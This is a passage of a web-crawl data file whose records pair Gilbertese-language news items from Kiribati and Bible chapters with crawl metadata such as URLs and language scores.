Tei.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/114-nei-maria-uean-te-rotario","date":"2024-04-22T00:36:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00153.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":454,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kuba n rou tabeman taan karikirake ni kainakin aia container iroun te tautaeka.\nA kuba nako tabeman taan karikirake n ana waaki te tautaeka are e a rokanii containers ake a maan n tiku n tei irarikin kawain nako te botanaomata iaon Tarawa Teinaninao ma Betio ngkoananaoa te kabong 30\/8\/12.\nN aron are e reke ma iroun te tia karikirake temanna man TUC ao e waekoa n reitaki ma te tia koroboki n te botaki ni mwakuri aio ae te Works and Energy ibukin manga kaukan ana container ni kaako ake a rokanaki irouia. N reitakina ma te tabo ni mwakuri aio ao a kamataata kaain te tabo ni mwakuri aei bwa a maan n tia ni kanakoi aia kakatanoata rinanon bwanaan Kiribati are a kauringiia iai bitineti ma taan bwaibbwai te kaa bwa ana waekoa ni kamwawai aia containers ma aia kaa ake a wene ao man tiku ni maen irarikin kawain te botanaomata.\nMan aia itera taan karikirake ao a rangi ni kubanako n te waki aio kioina ngkai bon akea ataakin aio irouia. E reitia n taekinna teuana te kambwana bwa angin te tai ao a bon aki bati ni kakabongana te rerio ibukin te kakauongo ao a kukurei riki ngke arona bwa a nikiraki aia reta ni kauring bon nakoia n aia kambwana are a mena iai. Ngkai a kona n rokani containers n aia tabo ao e na bon akea naba te kanganaga ngke e bon kaman nikiri aia reta ni kauring te tautaeka nakoia bitiniti.\nA kaota naba nanokawakia bwa aikoa kona ni kabonakoi aia kaako nakoia store ake a kainano aia kaako.\nNi wiki aika a nako ao a kona n noraki mka ni kaa n tokanako nakon taabo ake a na riai ni mena iai ao nimanga aki kona n noraki ni manga wene irirarikin kawain nako te botanaomata.\nA kuba n rou tabeman taan karikirake ni kainakin aia container iroun te tautaeka.\nA kuba n rou tabeman taan karikirake ni kainakin aia container iroun te tautaeka.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2012\/08\/31\/a-kuba-n-rou-tabeman-taan-karikirake-ni-kainakin-aia-container-iroun-te-tautaeka\/","date":"2017-10-18T14:46:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00558.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":335,"character_repetition_ratio":0.091,"word_repetition_ratio":0.058,"special_characters_ratio":0.2,"stopwords_ratio":0.37,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E botuku ni kakaea te tokanikai te Badminton.\nN te bokakano are e karaoaki n te Kaonobong ae nako ibukin kakaean te moanna n te takakaro ae te Badminton ao e mwaiti te karinan are a takakaro iai ao n aron te ribooti are tia karekea mai iroun aia tiakoroboki kaain te botaki n takakaro aio ao are e oti mwiina ikai\nIai teniua te karinan n te takakaro aio bwa te Under 15,Elite ao te Veterans ao are e a uotanako te tokanikai n te karinan ae te under 15 irouia mwaane bon te roronga ae Bebe n te kaai temanna ao ibukin nab ate karinan anne n te taboro irouia aine n te taboro bon Itara ao Stella.\nIbukin te karinan ae te Elite irouia mwaane n te kaai temanna ao e a tokanikai iai Karirieta n te karinan naba anne irouia aine Celine ao ibukin te taboro irouia aine Nei Celine ao Maria.\nAo ibukin te kaai temanna n te karinan anne ae te Elite irouia mwaane Naunta ao irouia aine Teitiria.\nIbukin ngkanne te karinan ae te Veterans te taboro irouia aine Aurane ao Meere ao irouia mwaane Henry ao Katirite ibukin te taboro n te karinan naba anne ao a uotanako te tokanikai Kaurane ao Tangaroa.\nAo aikanne ake a riki naba bwa ana tiambion te takakaro ae te Badminton ibukin te kainnaomata n te ririki 2016.\nAo are a bon bane naba n reke kaniwangaia n te tai anne mai imwiin te kabanea ni boo are e karaoaki n te KNYC court n te Kaonobong ae nako.\nAna waaki Badminton ioan Kiribati\nE botuku ni kakaea te tokanikai te Badminton.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2016\/09\/18\/ana-waaki-badminton-ioan-kiribati\/","date":"2017-10-18T14:46:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00571.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":274,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor E a karairaki ana Golden Boy Kiribati ae e rangi ni kinaaki mai imwiin reken ana koora n te kauaaba n takakaro ake a karaoaki I tinanikun…\nBY Online editor. E motirawa ma te rau ao ni mena n ana auti I Bairiki Honourable Speaker Teatao Teannaki tabeua te aoa n nako. N aron are e karekea…\nAvailable now at Play Store !\nKiribati Updates\nKiribati Updates\nPowered by WordPress\nCreated & Hosted by Esamgel Hosting","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/kiribatiupdates.com.ki\/2016\/10\/","date":"2017-12-11T21:07:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948514051.18\/warc\/CC-MAIN-20171211203107-20171211223107-00043.warc.gz","language":"gil","language_score":0.9992398024,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9992398023605347}","num_words":77,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n14 Ao e a wene ni motirawa Abiia i rarikia ana bakatibu, ao a kaiia n Ana Kaawa Tawita,+ ao e a riki natina are Ata bwa te uea n onea mwina. N ana bong teuaei ao e a motirawa te aba arei i nanon tebwina te ririki. 2 E kakaraoa ae raoiroi ao ae eti Ata i matan Iehova ae Atuana. 3 E kanakoi aia baonikarea atua aika ianena+ ao taabo aika rietata, e kamaeinikuni boua aika tabu,+ ao e korei kaai aika tabu*+ ni kabwakai. 4 Irarikin anne, e tuangia kaain Iuta bwa a na ukoukora Iehova ae Atuaia aia bakatibu, ao a na kakairi n te Tua ma te kaetieti. 5 Mangaia are e kanakoi taabo aika rietata ma baonikareani baika boiarara mani kaawan Iuta ni kabane.+ Ao e teimatoa n aki kakiriweaki te tautaeka n uea i aan ana kairiri. 6 E katei kaawa aika nonoaki i Iuta,+ kioina ngkai e aki kakiriweaki te aba ao akea te buaka n ekaanako teuaei i nanon ririki akanne, bwa e anganna Iehova te motirawa.+ 7 E taku nakoia kaain Iuta: \"Ti na katei kaawa aikai ao ni karaoi ooia n otabwaninia ma taian taua+ ao mataroan te oo,* ao kaai ni kamatoa. Bwa e teimatoa n riki bwa abara te aba aei, ibukina bwa ti ukoukora Iehova ae Atuara. Ti a tia n ukoukoria, ao e anganira te motirawa mairouia aiara ni kabane.\" Mangaia are e nakoraoi aia kateitei.+ 8 Ao iai kaain ana taanga ni buaka Ata, aika mwaanen Iuta aika 300,000 aika taubobonga n otanga aika bubura ao kainiwai. Ao iai taani buaka aika korakora aika 280,000 mai buakoia kaaini Beniamin, aika a uouotii otanga aika uarereke* ao a uakainikatebe.*+ 9 Imwina riki ao e a roko Teera ae te I-Itiobia n ekiianako, ao raona mwaane aika 1,000,000 aika kaain te taanga ni buaka ao kaa ni buaka+ aika 300. Ngke e roko i Maretiaa+ 10 ao e otinako Ata ni kaitaraa, ao a baireiia ni baireaia taani buaka n te Mwarua ae Tebataa i Maretiaa. 11 Ao Ata e wetea Iehova ae Atuana+ ao e kangai: \"Iehova, ko boni kona ni buokiia aomata e ngae ngke a mwaiti ke akea korakoraia.+ Buokira Iehova ae Atuara, bwa ti onimakiniko*+ ao ti otinako n ekiianako aomata aika uanao aikai n aram.+ Iehova, bon Atuara ngkoe. Tai kariaia bwa e na tokanikai i aom te aomata ae mamate.\"+ 12 Mangaia are e kataenikaiia I-Itiobia Iehova i matan Ata ao i mataia kaain Iuta, ao a birinako I-Itiobia.+ 13 Ao Ata ma aomata ake raona a kaeiia naakai ni karokoa Kera,+ ao a teimatoa I-Itiobia ni bwaka ni karokoa ae ai bon akea temanna i buakoia ae maiu. Bwa a boni konaaki iroun Iehova ao iroun ana taanga ni buaka. Imwin anne ao a uotiinako bwaai ni kuri aika rangi ni bati mwaanen Iuta. 14 Irarikin anne, a orei kaawa ni kabane ake i rarikini Kera ni kabwakai, bwa e roko i aoni kaawa akanne maakakin Iehova. Ao a kuribwai kaawa ni kabane, bwa a bati bwaai ni kuri iai. 15 A buakani naba aia umwanrianna te koraki ake iai aia nanai ni man, ao a taui tiibu ma kamero aika rangi ni bati, imwin anne ao a okira Ierutarem.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/14\/","date":"2018-01-23T06:30:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00675.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":556,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n60 \"Teirake ngkoe ae te aine,+ kaotaa te oota, bwa e a roko am oota. E a oota i aom mimitongin Iehova.+ 2 Bwa noria! e na rabuna te aonnaba te rotongitongAo natannaomata te roo ae matenten. Ma e na oota i aom Iehova,Ao e na noraki mimitongina i aom. 3 A na nako natannaomata nakon am oota+Ao ueea+ nakon raneaneani mimitongim.*+ 4 Euti matam ao taratara nako! A a ikotaki ni kabane, a a roko ni kawariko. A teimatoa n roko natim mwaane mai kiraroa,+Ao a rarikinaki ma n nabeaki natim aine.+ 5 N te tai anne ao ko na noria ao ko na rangi ni kukurei,+Ao e na kakatonga nanom ao ko na kimwareirei,Ibukina bwa a na nakoim kaubwaini marawa,Ao a na kawariko kaubwaia natannaomata.+ 6 A na rabunaanako abam* kamero aika uanao,Aika kamero mwaane aika ataei mai Mirian ma Eba.+ A na roko te koraki nako ake mai Teeba,Ao a na uota te koora ma te ribano.* A na tataekina karaoiroan Iehova.+ 7 A na ikotaki nakoim nanain nako Keta.+ A na toro iroum tiibu mwaane mai Nebaiota.+ A na kariaiakaki n roko i aon au baonikarea,+Ao N na katikiraoa au auti ae tamaroa.*+ 8 Antai aika kiba aikai n ai aron taian nang,N ai aroia taobe nakoni nneia ni maeka?* 9 Bwa a na kabotoi aia kantaninga i aou taian abamwakoro,+A rimoa kaibuken TaretitiBwa a na uotiia natim mwaane mai kiraroa,+N ikotaki ma aia tirewa ao aia koora,Nakon aran Iehova ae Atuam ao nakon Teuare Tabu iroun Iteraera,Bwa e na kamoamoako.*+ 10 A na katei am oo ianena,Ao a na beku iroum aia uea,+Bwa I oreiko n uniu,Ma N na nanoangaiko n au akoi.+ 11 A na teimatoa n uki n taai nako mataroan am oo,+Ao a na aki in n te ngaina ke n te bong,Bwa a na uotii nakoim kaubwaia natannaomata,Ao a na rimoa aia uea.+ 12 Bwa e na maunanako te natannaomata ao te tautaeka n uea are aki toro iroum,Ao a na boni kamaunaaki natannaomata.+ 13 E na kawariko tamaroan Rebanon,+Ma te kai ae te mwaiango, te aroka ae te bureen,* ao te aroka ae te teatura,+Bwa a na katamaroaa nnen au tabo ae tabu. N na katamaroaa nneni waeu.+ 14 A na roko natiia te koraki ake a karawawatako ao a na bobaraaki i matam. A na bobaraaki i waem te koraki nako ake a aki karineko,Ao a na araniko bwa ana kaawa Iehova,Ae ana Tion Teuare Tabu iroun Iteraera.+ 15 N oneani mwin are ko kitanaki ao ko riribaaki, ao akea ae e ririnanom,+N na karikiko bwa nibwan te kamoamoaaki ae akea tokina,Ao te bwai ni kakimwareirei i nanon rooro ni kabane.+ 16 Ao ko na boni moi n rannimammaia natannaomata,+Ko na mammai mammaia ueea aika mwaane.+ Ao ko na bon ataia ae ngai ae Iehova bon am tia Kamaiu,Ao Teuare Mwaaka ae Atuan Iakoba bon te tia Manga Kabooko.+ 17 N oneani mwin te buraati ao N na uotaamai te koora,Ao n oneani mwin te biti ao N na uotaamai te tirewa,Ao te buraati n oneani mwin te kai,Ao te biti n oneani mwin taian atibu. Ao N na mwiokoa te rau bwa am mataniwiAo te raoiroi bwa te tia kammwakuriko.+ 18 E na aki manga ongoraeaki taekan te iowawa i abam,Ke te kamaunanakoaki ma te urubwai i aon tiam nako.+ Ao ko na arani am oo bwa Kakamaiu+ ao mataroan am oo bwa Kamoamoa. 19 Bwa e nang aki manga riki taai bwa ootam n te ngaina,Ao e nang aki manga kaotako maaman namwakaina,Bwa e nang riki Iehova bwa am oota ae akea tokina,+Ao e nang riki Atuam bwa tamaroam.+ 20 E nang aki manga bung am taai,Ao e nang aki manga mamaara otan am namwakaina,Bwa e na riki Iehova bwa am oota ae akea tokina,+Ao a nang toki am bongi n tanginiwenei.+ 21 Ao a nangi bane n raoiroi am aomata. A na abana te aba n aki toki. Bon taiani bwebwe ngaiia ake I uniki,Bon ana mwakuri baiu,+ bwa I aonga ni katamaroaaki.+ 22 E na riki bwa tenga ane e karako,Ao ane e uarereke e na riki bwa te natannaomata ae korakora. N na kawaekoaa n taina ngai ae Iehova.\"\n^ Ke, \"nakon ootan am karangaina.\"\n^ Ebera, \"rabunikonako.\"\n^ Nora Nanon Taeka.\n^ Ke, \"au auti n tamaroa.\"\n^ Ke, \"nakoni mataroan aia auti mannikiba.\"\n^ Ke, \"katamaroako.\"\n^ Te aroka ae totoa ae rietana 15 te mita. A kiriin maii baana ao titeboo karani mwaangana ma te mannang.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/60\/","date":"2018-01-19T06:31:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887746.35\/warc\/CC-MAIN-20180119045937-20180119065937-00201.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":749,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n24 E taetae ngkanne Iehova nakoni Mote ni kangai: 2 \"Ko na tua nakoia tibun Iteraera bwa a na uota nakoim te bwaa man oriwa aika ikaki ae aki renganaki ibukin taian taura, bwa a aonga n teimatoa n ura taura.+ 3 E riai ni baireia Aaron bwa a na teimatoa n ura taura i tinanikuni keetenin te Ati ni Berita* i nanon te umwa ni botaki, man te tairiki ni karokoa ae ingabong i matan Iehova. Aio te tua ae teimatoa n ami roro nako. 4 E riai ni bairei taura ni katokai i aon te kaintaura+ ae te koora ni koaua, bwa e na teimatoa n ura i matan Iehova. 5 \"Ko na anaa te burawa ae mte ao umun iai 12 bwerena aika mronron. E riai ni kaka uoua katebwinani mwakoron te eba* i nanoni bwerena aikai n tatabeua nako. 6 Ko na bairei nakon uoua te rinan ni kauaataoi, kaka onoua i nanon teuana te rinan,+ ni katokai i aon te taibora ae te koora ni koaua i matan Iehova.+ 7 Ko riai ni kaaki te ribano ae aki renganaki i aon te rinan teuana ma teuana. Ko riai ni kabueka te ribano nakon Iehova ni kauringnga taekan te bwerena.+ 8 E riai ni bairei n taai nako i matan Iehova n te bongi n Taabati teuana ma teuana.+ Bon te berita ae teimaan i marenau ma tibun Iteraera. 9 E na riki bwa tibwangan Aaron ma natina mwaane,+ ao a na kanna n te tabo ae tabu,+ ibukina bwa bon te bwai ae moan te tabu ibukin te ibonga* mani karea ake a kareanaki n te ai nakon Iehova, bwa te tua ae teimatoa.\" 10 Ao iai te mwaane temanna i buakoia tibun Iteraera ae natin te aine ae tibun Iteraera ma te mwaane ae te I-Aikubita,+ ao e boo n un te mwaane aei ma tibun Iteraera temanna i nanon te kaembwa. 11 E taetae ni kamatauningaa aran te Atua ao e karereantia* te Ara* aei,+ natin te aine are tibun Iteraera. Mangaia are a kaira teuaei nakoni Mote.+ Ao aran tinan teuaei Teromita ae natin Tebiri man te baronga ae Tan. 12 A kaburea teuaei ni karokoa reken ana moti Iehova irouia ae teretere raoi.+ 13 E taku ngkanne Iehova nakoni Mote: 14 \"Kaira te aomata ane karereanti nako tinanikun te kaembwa, ao a na bane ni katokai baia i aon atuna te koraki ake a ongo ana taeka, ao a na karebanaia n atibu te botaki n aomata.+ 15 Ao ko riai n tuangia tibun Iteraera ni kangai, 'Ngkana iai te aomata ae karereantia Atuana, ao e na katuuaaeaki ibukin ana bure. 16 Mangaia are e bon riai ni kamateaki te aomata are taetae ni kamatauningaa aran Iehova.+ A bon riai te botaki n aomata ni karebanaia n atibu. E riai ni kamateaki te aomata ae maeka n iruwa ma tibun Iteraera ae bungiaki i buakomi ibukin ana taetae ni kamatauningaa aran te Atua. 17 \"'Ngkana e anaa maiun temanna,* te aomata temanna, ao e bon riai ni kamateaki.+ 18 Ane e orea te man* ae manana ao ni kamatea, ae ana man te aomata temanna, ao e riai ni kabooa mwina, bwa te maiu boona te maiu.* 19 Ngkana e kaikoaka raona n aomata te aomata temanna, ao e riai ni karaoaki nakoina aron are e a tia ni karaoia.+ 20 E na karaoaki naba nakoina te aeka ni kaikoaki are e karaoia nakon te aomata, bwa te mwaoto boona te mwaoto, te mata boona te mata, ao te wi boona te wi.+ 21 E riai ni kabooa mwin te man te aomata ae orea te man ni kamatea,+ ma e riai ni kamateaki te aomata ae orea te aomata ni kamatea.+ 22 \"'E riai n tii te arona te moti ibukimi, n aki ongeia bwa te aomata ae maeka n iruwa ke tibun Iteraera ae bungiaki i buakomi,+ ibukina bwa bon Iehova ngai ae Atuami.'\" 23 Ao e taetae Mote nakoia tibun Iteraera, ao a kaira te aomata are karereanti nako tinanikun te kaembwa ao a karebanaia n atibu.+ Mangaia are a karaoa are e tua Iehova nakoni Mote tibun Iteraera.\n^ Te ati ae kanoana bwaai ni kaotioti.\n^ Nora Nanon Taeka.\n^ Ke, \"taetae ni karekea kain.\"\n^ Ae taekan aran Iehova, n aron ae kaotaki ni kibuna 15 ao 16.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/24\/","date":"2018-01-19T02:12:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00230.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":727,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n43 Motika taekau ngkoe ae te Atua,+Teei ibukiu n au tangitang,+ ni kaitaraa te natannaomata ae aki kakaonimaki ni koaua. Kamaiuai mairoun te aomata ae mwamwanaa te aba ao e buakaka. 2 Bwa bon Atuau ngkoe, ae au tabo ni kamaiu.+ E aera ngkai ko teweainako? E aera ngkai I riai n nakonako ma te nanokawaki, ibukin ana karawawata ane e kairiribai nakoiu?+ 3 Kaotinakoa am oota ao am koaua.+ Ke a kairirai baikai,+Ke a kairai nakon am maunga ae tabu, ao nakon am umwanrianna ae tabu* ae kakannato.+ 4 Ao N na nakon ana baonikarea te Atua,+Nakon te Atua ae nibwani kimwareireiu ae bati. Ao N na karaoiroiko n te abi,+ ngkoe ae te Atua ae Atuau. 5 E aera ngkai e a bwara nanou? E aera ngkai e a mena te kiriwe aei i nanou? Kantaningaa te Atua,+Bwa N na karaoiroia bwa au tia Kamaiu ae Moan te Kakannato ao Atuau.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/43\/","date":"2018-01-21T02:00:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889798.67\/warc\/CC-MAIN-20180121001412-20180121021412-00137.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":182,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n10 Ao I-Biritia a buakania tibun Iteraera, ao a birinako mwaane aika tibun Iteraera mai mwaia I-Biritia, ao a bati aika kamateaki i aon te Maunga ae Kireboa.+ 2 Ao a teimatoa I-Biritia ni kaeiia Tauro ma natina mwaane ao a a rangi ni kaan. Ao I-Biritia a kamateia Ionatan, Abinataba, ao Marekitua,+ ake natin Tauro. 3 E korakora buakanakin Tauro, ao e reke irouia taani katebe, ao e ikoaki irouia taani katebe.+ 4 E taku ngkanne Tauro nakon te tia uouotii ana bwai ni buaka: \"Buuta am kabaang ao ewarai iai, bwa a aonga n aki roko mwaane aika aki korotobibiaki aikai ni karaoa ae iowawa+ nakoiu.\"* Ma e rawa te tia uouotii ana bwai ni buaka, ibukina bwa e rangi ni maaku. Ngaia are e anaa te kabaang Tauro ao e bwakaria.+ 5 Ngke e noria te tia uouotii ana bwai ni buaka bwa e a mate Tauro, ao e bwakara naba ana kabaang ao e mate. 6 Mangaia are a kaai ni mate Tauro ma natina mwaane ake teniman, ao a mate naba te koraki ni kabane ake kaain ana auti.+ 7 Ngke a noria tibun Iteraera ni kabane ake a mena n te mwarua,* bwa e a bane ni birinako te koraki, ao a a mate Tauro ma natina, ao a a kitan aia kaawa ao ni birinako. Ao a roko I-Biritia ao a maeka iai. 8 N te bong are imwina ngke a a roko I-Biritia bwa a na kuribwaiia te koraki ake a kamateaki, ao a a kunea Tauro ma natina mwaane bwa a bwaka i aon te Maunga ae Kireboa.+ 9 Mangaia are a kuribwaia ao a kabakua roroana ao a anaa ana bwai ni buaka, ao a kanakotaeka ni kabutaa abaia I-Biritia bwa a na kabutaanako te rongorongo nakoia aia bouannanti+ ao aomata. 10 Ao a kaaki ana bwai ni buaka teuaei n ana auti* atuaia, ao a kabaea tabwanoun teuaei n ana auti Takon.+ 11 Ngke a a ongo te koraki ni kabane ake mai Iabeti+ i Kireata bwaai ni kabane ake a karaoi I-Biritia nakon Tauro,+ 12 ao a bane n teirake taani buaka ao a uotaanako rabwatan Tauro ma rabwataia natina. A uotiia nako Iabeti ao a tauni riia i aan te aroka ae bubura i Iabeti,+ ao a aki mamatam i nanon itibong. 13 Mangaia are e a mate Tauro ibukin ana aki kakaonimaki are e kaotiotia nakon Iehova ibukina bwa e aki ongo n ana taeka Iehova,+ ao ibukina naba bwa e karekea buokana iroun te tia rorokoia taimonio,+ 14 n oneani mwin are e na titirakina Iehova. Mangaia are E a kamatea ao e a rairaanako te nakoa n uea nakon Tawita are natin Iete.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-rongorongo\/10\/","date":"2018-01-21T07:33:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890314.60\/warc\/CC-MAIN-20180121060717-20180121080717-00328.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":469,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n18 Ao a ikotaki i Tiro te botaki n aomata aika tibun Iteraera,+ ao a katea te umwa ni botaki ikekei,+ ngkai e a taenikai te aba anne i mataia.+ 2 Ma iai riki nikiran aia baronga tibun Iteraera aika itiua aika a tuai n reke tibwangaia. 3 Mangaia are e taku Iotua nakoia tibun Iteraera: \"Maanra riki ngkami n iremwe n nako n abana te aba are e anganingkami Iehova ae Atuaia ami bakatibu?+ 4 Karekeia nakoiu mwaane aika kaka teniman man te baronga teuana ma teuana, ao a riai n nako ao n nakonako ni kabutaa te aba ma ni karaoa mwaben te aba, ni kaineti ma tibwangaia. Ao imwina a riai n okirai. 5 A riai n tibwatibwaia i marenaia nakon taian tibwa aika itiua.+ E na tiku Iuta n ana aono are i maiaki,+ ao a na tiku tibun Ioteba n aia aono are i meang.+ 6 Ma ngkami kam na karaoa mwaben te aba ao tibwaia nakon taian tibwa aika itiua, ao uotii n nakomai nakoiu, ao N na ukoukora te kanikina* ibukimi ikai mairoun Iehova ae Atuara.+ 7 Ma akea tibwaia tibun Rewi i buakomi,+ ibukina bwa bon tibwangaia te nakoa n ibonga* are mairoun Iehova,+ ao Kata ma Reuben ao te itera ni baronga are Manate,+ a a tia n anaa tibwangaia n iteran te Ioretan are mai mainiku, are e angania Mote are ana toro Iehova.\" 8 A katauraoiia ngkanne mwaane akekei bwa a na nako ao e tua Iotua nakoia te koraki ake a na karaoa mwaben te aba ni kangai: \"Naako ao nakonako ni kabutaa te aba ao karaoa mwaben te aba ao manga okirai, ao N na ukoukora te kanikina ibukimi ikai mairoun Iehova i Tiro.\"+ 9 Ao a nako mwaane akekei ao a mwamwananga ni kabutaa te aba ao a karaoi mwabeni kaawa ao n tibwaia nakon taian tibwa aika itiua, ao a taua mwina n te boki. Imwin anne ao a okira Iotua n te kaembwa i Tiro. 10 E ukoukora te kanikina Iotua ibukia i Tiro mairoun Iehova.+ E tibwatibwaa te aba ikanne Iotua nakoia tibun Iteraera, ni kaineti ma tibwaia nako.+ 11 Ao e reke te kanikina mairoun te Atua ibukin te baronga ae Beniamin n aia utu nako, ao aia aono are reke n te kanikina e mena i marenaia tibun Iuta+ ao tibun Ioteba.+ 12 E moa tiaia are n te itera are mai meang man te Ioretan, ao e waerake te tia nakon rabeen Ieriko+ mai meang ao e waerake nakon te maunga nako maeao, ao e rokoroko n te rereua ae Betaawen.+ 13 Ao e reitinako te tia mai ikanne nako Ruti i maiakin rabeen Ruti, ae taekani Betaera,+ ao e ruo rikaaki te tia nako Atarotaata+ i aon te maunga are i maiakini Betaoron are mai Nano.+ 14 Ao e rokoroko te tia n te itera are mai maeao, ao e rairaki nako maiaki man te maunga are kaitaraa Betaoron nako maiaki, ao e toki i Kiriatabaara, ae taekani Kiriataearim,+ ae ana kaawa Iuta. Anne bon te itera are mai maeao. 15 Te itera are mai maiaki boni mai taboni Kiriataearim ao e reitinako te tia nako maeao, ao e nakon te koburake n ran ae Nebetoa.+ 16 E ruo rikaaki te tia nako tabon te maunga are kaitaraa ana Mwarua Natin Innom,+ are n te Mwarua ae Rebaim+ nako meang, ao e ruo rikaaki nakon te Mwarua ae Innom nakon aia rabee I-Iebuti+ mai maiaki, ao e nako Enrokera.+ 17 Ao e 